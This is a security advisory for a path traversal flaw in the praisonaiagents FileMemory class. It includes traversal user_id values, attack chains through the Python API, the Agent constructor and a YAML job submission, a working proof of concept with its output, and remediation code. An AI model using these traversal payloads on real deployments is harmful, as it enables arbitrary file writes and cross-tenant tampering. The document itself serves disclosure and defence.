GHSA-gxmw-5f7x-6g22: Path Traversal
Summary
praisonaiagents/memory/filememory.py::FileMemory.init() constructs all memory file paths by directly joining the userid parameter to a base path:
python self.userpath = self.basepath / userid # LINE 145 — no sanitization
No validation or normalization is applied to userid before the path join. An attacker who can supply a userid containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).
Details
Vulnerable code — praisonaiagents/memory/filememory.py lines 139-157:
python def init( self, userid: str = "default", basepath: Optional[str] = None, ... ): ... self.userpath = self.basepath / userid # LINE 145 — NO SANITIZATION self.episodicpath = self.userpath / "episodic"
self.userpath.mkdir(parents=True, existok=True) # creates dirs at traversed path self.episodicpath.mkdir(parents=True, existok=True)
self.configfile = self.userpath / "config.json" self.shorttermfile = self.userpath / "shortterm.json" self.longtermfile = self.userpath / "longterm.json" self.entitiesfile = self.userpath / "entities.json" self.summariesfile = self.userpath / "summaries.json"
All five JSON files are written under userpath, which is directly derived from the attacker-controlled userid. The written content is valid JSON in the memory item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):
The sibling SQLiteBackend validates its tablename with a regex: python if not re.match(r'^[a-zA-Z0-9]+$', tablename): raise ValueError(...) No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller): python from praisonaiagents.memory.filememory import FileMemory
mem = FileMemory(userid="../../etc/evil") mem.addshortterm("injected content") Creates /etc/evil/shortterm.json (on Linux) Creates C:\evil\shortterm.json (on Windows)
B — Via Agent constructor (memory dict): python from praisonaiagents import Agent
agent = Agent( name="assistant", memory={"provider": "file", "userid": "../../etc/evil"}, instructions="You are a helpful assistant.", ) FileMemory(userid="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agentyaml field): yaml Submitted via POST /jobs with agentyaml: agents: researcher: memory: provider: file userid: "../../tmp/evil" role: "Research assistant" goal: "Research topics" agentsgenerator.py passes the memory.userid value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
python from pathlib import Path import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory" userid = "../../../tmp/evilescape" userpath = base / userid
try: userpath.resolve().relativeto(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", userpath.resolve())
Output: !!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evilescape
Step 2 — Live exploit (files written outside base):
python import tempfile, json from pathlib import Path from praisonaiagents.memory.filememory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonaibase" / "memory" BASE.mkdir(parents=True, existok=True)
TARGET = (BASE / "../../praisonaipathtraversalproof").resolve()
mem = FileMemory(userid="../../praisonaipathtraversalproof", basepath=str(BASE)) mem.addshortterm("PROOFOFTRAVERSAL: attacker wrote this") mem.addlongterm("SENSITIVEDATA", importance=0.9)
Verify files appeared OUTSIDE the base directory for fname in ["shortterm.json", "longterm.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.readtext())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current main): WRITTEN: <TMPDIR>/praisonaipathtraversalproof/shortterm.json Content: PROOFOFTRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonaipathtraversalproof/longterm.json Content: SENSITIVEDATA WRITTEN: <TMPDIR>/praisonaipathtraversalproof/config.json
Impact
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
- Any application that creates FileMemory instances with user-controlled userid - Any PraisonAI deployment where users can supply the userid parameter directly or indirectly (via Agent(memory={"userid": ...}), agents.yaml, or jobs API)
High-impact scenarios:
1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.
3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.
4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | examples/context/12multiagentcontext.py (example) | praisonaiagents/memory/filememory.py (core library) | | Class | MultiAgentMonitor | FileMemory | | Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |
---
Remediation Suggestion (for maintainers)
Validate and resolve userid before using it in path construction:
python def init(self, userid: str = "default", basepath=None, ...): ... # ADDED: sanitize userid import re if not re.match(r'^[a-zA-Z0-9\-\.]+$', userid): raise ValueError( f"userid '{userid}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." )
self.userpath = self.basepath / userid
# ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.userpath.resolve() baseresolved = self.basepath.resolve() try: resolved.relativeto(baseresolved) except ValueError: raise ValueError( f"userid '{userid}' would write outside the base memory directory." )
The same pattern should be applied to basepath parameter.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.6.58 - Upgrade
Upgrade
praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.5.115 - Configuration
In FileMemory.__init__(), validate and normalize `user_id` before using it in `self.user_path = self.base_path / user_id`. Reject values that do not match `^[a-zA-Z0-9_\-\.]+$`, then compute `resolved = (self.base_path / user_id).resolve()` and enforce `resolved.relative_to(self.base_path.resolve())` (raise ValueError if it would write outside the base directory).
FileMemory (praisonaiagents/memory/file_memory.py) user_id = Validated pattern: only alphanumeric characters, hyphens, underscores, and dots are allowed (regex `^[a-zA-Z0-9_\-\.]+$`) and resolve/base check: `resolved.relative_to(base_resolved)` must succeed - Configuration
Apply the same validation/containment check to the `base_path` parameter: resolve `base_path` to `base_resolved` and ensure the resolved `user_path` is within `base_resolved` (e.g., `resolved.relative_to(base_resolved)`), failing with ValueError if not.
FileMemory (praisonaiagents/memory/file_memory.py) base_path = Must be resolved and used for an allowlist/base containment check (resolved path must be within base) - Compensating control
Ensure deployments do not allow untrusted users to control `memory.user_id` / `agent_yaml` / job submission fields that flow into `FileMemory(user_id=...)` (since arbitrary JSON can be written to any writable filesystem path when traversal is possible).
- Operational
After patching, review for any memory JSON files that may have been written outside the intended base directory (e.g., paths under the process temp dir showing traversal artifacts) and remove/clean them before use.
Event History
Frequently Asked Questions
Who is exposed to this issue?
Applications using FileMemory are exposed when an attacker with the required low-level privileges can control the user_id value. Impact is limited by the filesystem permissions of the process running the application, because writes can only succeed in locations writable by that process.
What does an attacker need to exploit it?
The attacker needs to supply a user_id containing path-traversal sequences such as ../. No user interaction is required, and the vulnerable code creates directories at the traversed location before writing memory-related JSON content.
How can I determine whether my deployment is affected?
The issue is confirmed on the current main branch identified as praisonaiagents==1.6.52. Inspect praisonaiagents/memory/file_memory.py and check whether FileMemory.__init__ constructs user_path by directly joining base_path and user_id without validation or normalization.